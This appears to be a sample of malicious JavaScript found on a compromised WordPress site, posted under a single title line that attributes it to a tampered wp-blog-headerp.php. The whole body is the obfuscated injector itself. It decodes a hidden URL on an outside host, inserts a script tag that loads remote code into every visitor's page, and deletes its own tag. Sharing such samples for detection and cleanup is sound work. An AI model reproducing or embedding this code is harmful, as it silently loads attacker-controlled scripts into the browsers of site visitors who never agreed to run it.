Malicious JS code resulting from WP wp-blog-headerp.php

var q = b;

function a() {
    var r = ['coll', '13368123tmzzBY', '10pGMVfl', 'remove', 'head', 'appendChild', '948747dUIjuX', 'parentNode', 'src', 'insertBefore', 'pt[', 'querySelector', '2229544tzYEKK', '322jtuOfV', '133222pVrQry', '818428usZefP', 'createElement', '1485380zQiyOr', 'getElementsByTagName', '5YSDUMY', '21414LOUldK', 'ect', 'fromCharCode'];
    a = function() {
        return r;
    };
    return a();
}(function(c, e) {
    var o = b,
        f = c();
    while (!![]) {
        try {
            var g = parseInt(o('0x10c')) / 0x1 * (-parseInt(o('0x107')) / 0x2) + -parseInt(o('0xff')) / 0x3 + parseInt(o('0x108')) / 0x4 + -parseInt(o('0x10a')) / 0x5 + -parseInt(o('0x10d')) / 0x6 * (parseInt(o('0x106')) / 0x7) + -parseInt(o('0x105')) / 0x8 + parseInt(o('0x111')) / 0x9 * (parseInt(o('0x112')) / 0xa);
            if (g === e) break;
            else f['push'](f['shift']());
        } catch (h) {
            f['push'](f['shift']());
        }
    }
}(a, 0x496a3));

function b(c, d) {
    var e = a();
    return b = function(f, g) {
        f = f - 0xff;
        var h = e[f];
        return h;
    }, b(c, d);
}

function isScriptLoaded(c) {
    var p = b;
    return Boolean(document[p('0x104')]('sc' + 'ri' + p('0x103') + 'sr' + 'c=\x22' + c + '\x22]'));
}
var bd = 'ht' + String[q('0x10f')](0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x69, 0x73, 0x74, 0x69, 0x63, 0x2e, 0x73) + 'c' + 'ri' + 'pt' + String[q('0x10f')](0x73, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x2e) + 'co' + String[q('0x10f')](0x6d, 0x2f) + q('0x110') + '' + q('0x10e');
if (isScriptLoaded(bd) === ![]) {
    var d = document,
        s = d[q('0x109')]('sc' + 'r' + 'ip' + 't');
    s[q('0x101')] = bd, document['currentScript'] ? document['currentScript'][q('0x100')] !== null && document['currentScript'][q('0x100')][q('0x102')](s, document['currentScript']) : d[q('0x10b')](q('0x114'))[0x0] !== null && d[q('0x10b')](q('0x114'))[0x0][q('0x115')](s);
}
document['currentScript'] && document['currentScript'][q('0x113')]();